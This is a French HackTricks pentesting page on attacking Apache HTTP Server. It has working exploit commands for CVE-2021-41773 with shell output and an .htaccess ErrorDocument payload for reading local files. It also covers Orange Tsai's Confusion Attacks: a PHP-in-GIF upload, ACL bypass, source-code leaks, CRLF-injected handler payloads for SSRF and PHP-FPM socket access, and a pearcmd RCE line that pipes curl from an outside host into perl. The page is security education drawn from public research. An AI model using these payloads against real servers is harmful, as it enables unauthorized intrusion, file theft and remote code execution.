15 KiB
Apache
{{#include ../../banners/hacktricks-training.md}}
Extensions PHP exécutables
Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
grep -R -B1 "httpd-php" /etc/apache2
De plus, quelques endroits où vous pouvez trouver cette configuration sont :
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI via .htaccess ErrorDocument file provider (ap_expr)
Si vous pouvez contrôler le .htaccess d’un répertoire et qu’AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l’intérieur d’ErrorDocument.
- Exigences :
- Apache 2.4 avec expression parser (ap_expr) activé (par défaut en 2.4).
- Le vhost/dir doit permettre à .htaccess de définir ErrorDocument (AllowOverride FileInfo).
- L'utilisateur worker d'Apache doit avoir les permissions de lecture sur le fichier cible.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Se déclenche en demandant n'importe quel non-existing path sous ce directory, par exemple lors de l'abus de userdir-style hosting :
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Notes et conseils :
- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de réponse par le handler 404.
- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ni /etc/shadow dans des configurations par défaut.
- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, il se peut que vous puissiez renommer le .htaccess original et téléverser votre propre remplacement via SFTP/FTP :
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Utilisez cela pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.).
Confusion Attack
Ces types d'attaques ont été introduits et documentés by Orange in this blog post et ce qui suit en est un résumé. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui fonctionnent ensemble pour créer un Apache ne sont pas parfaitement synchronisés : si certains d'entre eux modifient des données inattendues, cela peut provoquer une vulnérabilité dans un module ultérieur.
Filename Confusion
Truncation
Le mod_rewrite
tronque le contenu de r->filename
après le caractère ?
(modules/mappers/mod_rewrite.c#L4141). Ce n'est pas totalement incorrect car la plupart des modules traiteront r->filename
comme une URL. Mais dans d'autres cas, cela sera traité comme un chemin de fichier, ce qui poserait un problème.
- Path Truncation
Il est possible d'abuser de mod_rewrite
comme dans l'exemple de règle suivant pour accéder à d'autres fichiers du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Mislead RewriteFlag Assignment
Dans la règle de réécriture suivante, tant que l'URL se termine par .php elle sera traitée et exécutée en tant que php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère ?
tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant :
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé par des configurations comme :
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Cela s'explique parce que, par défaut, PHP-FPM recevra les URLs se terminant par .php
, comme http://server/admin.php%3Fooo.php
et parce que PHP-FPM supprime tout ce qui suit le caractère ?
, l'URL précédente permettra de charger /admin.php
même si la règle précédente l'interdisait.
Confusion autour de DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis root. Donc, une requête vers https://server/abouth.html
vérifiera le fichier dans /var/www/html/about.html
et /about.html
dans le système de fichiers. Ce qui peut essentiellement être abusé pour accéder à des fichiers dans le système de fichiers.
Divulgation du code source côté serveur
- Divulguer le code source CGI
Il suffit d'ajouter %3F à la fin pour leak le code source d'un module cgi :
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Disclose PHP Source Code
Si un serveur possède plusieurs domaines, dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Manipulation des gadgets locaux
Le principal problème de l'attaque précédente est que, par défaut, la plupart des accès au système de fichiers seront refusés comme dans Apache HTTP Server’s configuration template:
<Directory />
AllowOverride None
Require all denied
</Directory>
Cependant, les systèmes d'exploitation Debian/Ubuntu autorisent par défaut /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Par conséquent, il serait possible d'abuser des fichiers situés dans /usr/share
dans ces distributions.
Gadget local pour divulgation d'informations
- Apache HTTP Server avec websocketd peut exposer le script dump-env.php à /usr/share/doc/websocketd/examples/php/, ce qui peut leak des variables d'environnement sensibles.
- Des serveurs avec Nginx ou Jetty peuvent exposer des informations sensibles d'applications web (par ex., web.xml) via leurs répertoires web par défaut placés sous /usr/share :
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Gadget local vers XSS
- Sur Ubuntu Desktop avec LibreOffice installé, exploiter la fonctionnalité de changement de langue des fichiers d'aide peut conduire à du Cross-Site Scripting (XSS). Manipuler l'URL à /usr/share/libreoffice/help/help.html peut rediriger vers des pages malveillantes ou des versions plus anciennes via une RewriteRule non sécurisée.
Gadget local vers LFI
- Si PHP ou certains packages front-end tels que JpGraph ou jQuery-jFeed sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme /etc/passwd :
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Gadget local vers SSRF
- L'utilisation de magpie_debug.php de MagpieRSS à /usr/share/php/magpierss/scripts/magpie_debug.php peut facilement créer une vulnérabilité SSRF, ouvrant la voie à d'autres exploits.
Gadget local vers RCE
- Les opportunités d'exécution de code à distance (RCE) sont nombreuses, avec des installations vulnérables comme une version obsolète de PHPUnit ou phpLiteAdmin. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, illustrant le potentiel étendu de la manipulation de gadgets locaux.
Jailbreak depuis des gadgets locaux
Il est aussi possible de faire un jailbreak à partir des dossiers autorisés en suivant des symlinks générés par des logiciels installés dans ces dossiers, tels que :
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
De plus, en abusant des symlinks, il a été possible d'obtenir une RCE dans Redmine.
Confusion des handlers
Cette attaque exploite le chevauchement fonctionnel entre les directives AddHandler
et AddType
, qui peuvent toutes deux être utilisées pour activer le traitement PHP. À l'origine, ces directives affectaient différents champs (r->handler
et r->content_type
respectivement) dans la structure interne du serveur. Cependant, à cause d'un code hérité, Apache traite ces directives de manière interchangeable dans certaines conditions, en convertissant r->content_type
en r->handler
si le premier est défini et le second ne l'est pas.
De plus, dans Apache HTTP Server (server/config.c#L420
), si r->handler
est vide avant l'exécution de ap_run_handler()
, le serveur utilise r->content_type
comme handler, rendant effectivement AddType
et AddHandler
identiques en effet.
Écraser le handler pour divulguer le code source PHP
Dans cette présentation, une vulnérabilité a été exposée où un Content-Length
incorrect envoyé par un client peut amener Apache à retourner par erreur le code source PHP. Cela était dû à un problème de gestion d'erreur avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser r->content_type
en text/html
.
Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP au lieu de l'interpréter.
Écraser le handler vers XXXX
TODO: Orange n'a pas encore divulgué cette vulnérabilité
Invoquer des handlers arbitraires
Si un attaquant parvient à contrôler l'en-tête Content-Type
dans une réponse serveur, il pourra invoquer des handlers de modules arbitraires. Cependant, au moment où l'attaquant contrôle cela, la majeure partie du traitement de la requête sera déjà effectuée. Il est toutefois possible de relancer le processus de requête en abusant de l'en-tête Location
car si le Status
retourné est 200 et que l'en-tête Location
commence par /
, la réponse est traitée comme une redirection côté serveur et doit être retraitée
Selon RFC 3875 (spécification sur CGI) dans Section 6.2.2 il est défini le comportement de Local Redirect Response :
Le script CGI peut renvoyer un chemin URI et une chaîne de requête ('local-pathquery') pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit retraiter la requête en utilisant le chemin spécifié.
Par conséquent, pour réaliser cette attaque, l'une des vulnérabilités suivantes est nécessaire :
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Handler arbitraire vers divulgation d'informations
Par exemple /server-status
ne devrait être accessible qu'en local :
<Location /server-status>
SetHandler server-status
Require local
</Location>
Il est possible d'y accéder en définissant le Content-Type
sur server-status
et l'en-tête Location commençant par /
.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Du Handler arbitraire au SSRF complet
Redirection vers mod_proxy
pour accéder à n'importe quel protocole sur n'importe quelle URL :
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Cependant, l'en-tête X-Forwarded-For
est ajouté, empêchant l'accès aux points de terminaison des métadonnées cloud.
Handler arbitraire pour accéder au Unix Domain Socket local
Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
L'image officielle PHP Docker inclut PEAR (Pearcmd.php
), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Consultez Docker PHP LFI Summary, écrit par Phith0n pour les détails de cette technique.
Références
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
{{#include ../../banners/hacktricks-training.md}}